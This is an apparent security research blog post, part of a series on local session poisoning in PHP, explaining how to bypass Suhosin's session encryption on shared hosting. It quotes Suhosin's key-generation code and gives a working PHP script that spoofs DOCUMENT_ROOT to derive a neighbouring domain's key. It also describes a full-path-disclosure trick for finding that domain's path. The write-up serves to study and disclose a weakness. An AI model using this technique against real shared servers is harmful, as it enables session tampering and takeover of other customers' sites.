Articles of Haxxor Security

Mango

By default Suhosin transparently encrypts session files stored by PHP. This seems to be adequate protection against local session poisoning in a shared hosting environment. But let's take a closer look.

Article series

Part 1: The Basics of Exploitation and How to Secure a Server
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html

Part 2: Promiscuous Session Files
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html

Part 3: Bypassing Suhosin's Session Encryption
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html

Generating the key

When processing a request, Suhosin generates a unique encryption key for each client. To build the encryption key, an algorithm is seeded with 4 pieces of data, or a subset thereof. The user-agent, the document-root, 0-4 octets of the remote IP address and a user defined key. These pieces of data are chosen to produce a unique key for every client on every domain.

Domain A and B are hosted on the same shared server and an attacker with access to domain B wants to conduct a local session poisoning attack targeting domain A. When transparent session encryption is enabled the attacker is required to replicate the conditions of the targeted web application at domain A when decrypting/encrypting its session files in the context of domain B.

- The remote IP address of the attacker normally does not change and need not be cared about.
- The user-agent is also controlled by the attacker and normally does not change.
- The user defined key is a string defined in the runtime configuration option suhosin.session.cryptkey. By default it is an empty string. And even if set, it is usually a global setting meaning that domain A and domain B shares the same key. But if domain A actually has got its own unique key configured, the only remaining option is to bruteforce it. A bruteforce will probably fail unless a very short or otherwise inadequate key was chosen.
- The document-root is the web server's root directory where the web site's files resides, and therefore unique to every domain on a shared server. To generate the same key as domain A in the context of domain B, the attacker needs to spoof domain B's document-root to that of domain A.

Let's check out lines 568-624 in session.c of Suhosins source code. Here is suhosin_generate_key, the function responsible for generating the key used when encrypting the session files.
?

```
   char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long
   raddr, char *cryptkey TSRMLS_DC)
   {
568 char *_ua = NULL;
569 char *_dr = NULL;
570 char *_ra = NULL;
571 suhosin_SHA256_CTX ctx;
572
573 if (ua) {
574  _ua = sapi_getenv("HTTP_USER_AGENT", sizeof("HTTP_USER_AGENT")-1
575TSRMLS_CC);
576 }
577
578 if (dr) {
579  _dr = sapi_getenv("DOCUMENT_ROOT", sizeof("DOCUMENT_ROOT")-1
580TSRMLS_CC);
581 }
582
583 if (raddr > 0) {
584  _ra = sapi_getenv("REMOTE_ADDR", sizeof("REMOTE_ADDR")-1 TSRMLS_CC);
585 }
586
587 SDEBUG("(suhosin_generate_key) KEY: %s - UA: %s - DR: %s - RA: %s",
588key,_ua,_dr,_ra);
589
590 suhosin_SHA256Init(&ctx);
591 if (key == NULL) {
592  suhosin_SHA256Update(&ctx, (unsigned char*)"D3F4UL7",
593sizeof("D3F4UL7"));
594 } else {
595  suhosin_SHA256Update(&ctx, (unsigned char*)key, strlen(key));
596 }
597 if (_ua) {
598  suhosin_SHA256Update(&ctx, (unsigned char*)_ua, strlen(_ua));
599 }
600 if (_dr) {
601  suhosin_SHA256Update(&ctx, (unsigned char*)_dr, strlen(_dr));
602 }
603 if (_ra) {
604  if (raddr >= 4) {
605   suhosin_SHA256Update(&ctx, (unsigned char*)_ra, strlen(_ra));
606  } else {
607   long dots = 0;
608   char *tmp = _ra;
609
610
```

```
    while (*tmp) {
     if (*tmp == '.') {
      dots++;
      if (dots == raddr) {
       break;
      }
     }
     tmp++;
    }
    suhosin_SHA256Update(&ctx, (unsigned char*)_ra, tmp-_ra);
   }
  }
  suhosin_SHA256Final((unsigned char *)cryptkey, &ctx);
  cryptkey[32] = 0; /* uhmm... not really a string */

  return cryptkey;
 }
```

Spoofing DOCUMENT_ROOT

On line 580 in session.c the value used when generating the key is retrieved from an environment variable by the function sapi_getenv. The thing is that environment variables can be modified from within a PHP script and the document-root can therefore be spoofed before the session is initialized.

Here is a short script utilizing a function that tries three different methods to set the DOCUMENT_ROOT environment variable.
?

```
// Output original value
echo "[i] DOCUMENT_ROOT was set to '".getenv('DOCUMENT_ROOT')."'.\n";
// Function to set the DOCUMENT_ROOT environment variable
setdocroot('/hsphere/local/home/useraaa/domain-a.com');
// Output new value
echo "[i] DOCUMENT_ROOT changed to '".getenv('DOCUMENT_ROOT')."'.\n";

// Initializing a session
session_start();
// Setting some arbitrary values
$_SESSION['x1'] = 'hej';
$_SESSION['x2'] = 'apa';
// Closing the session
session_write_close();

function setdocroot($docroot){
 // Function trying different methods to
 // set the DOCUMENT_ROOT environment variable.
 // http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html
 @putenv("DOCUMENT_ROOT=$docroot");
 if($docroot === getenv('DOCUMENT_ROOT'))return true;
 if(is_callable('apache_setenv')){
  apache_setenv('DOCUMENT_ROOT',$docroot);
  if($docroot === getenv('DOCUMENT_ROOT'))return true;
 }
 @exec("SET DOCUMENT_ROOT=$docroot");
 if($docroot === getenv('DOCUMENT_ROOT'))return true;
 return false;
}
```

The attacker with access to domain B will have to make an educated guess to what the document-root of domain A is. Clues can be found by studying domain B's own document-root. Usually it contains the user name and domain name, both which would be substituted by those relevant to domain A.

A more precise way of obtaining domain A's document-root is to utilize a Full Path Disclosure vulnerability. As suggested by OWASP, the PHPSESSID cookie could be set to an empty string which, if error reporting is turned on, triggers an error message like this one that reveals the local path.

```
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in /hsphere/local/home/useraaa/domain-a.com/includes/session.php on line 4
```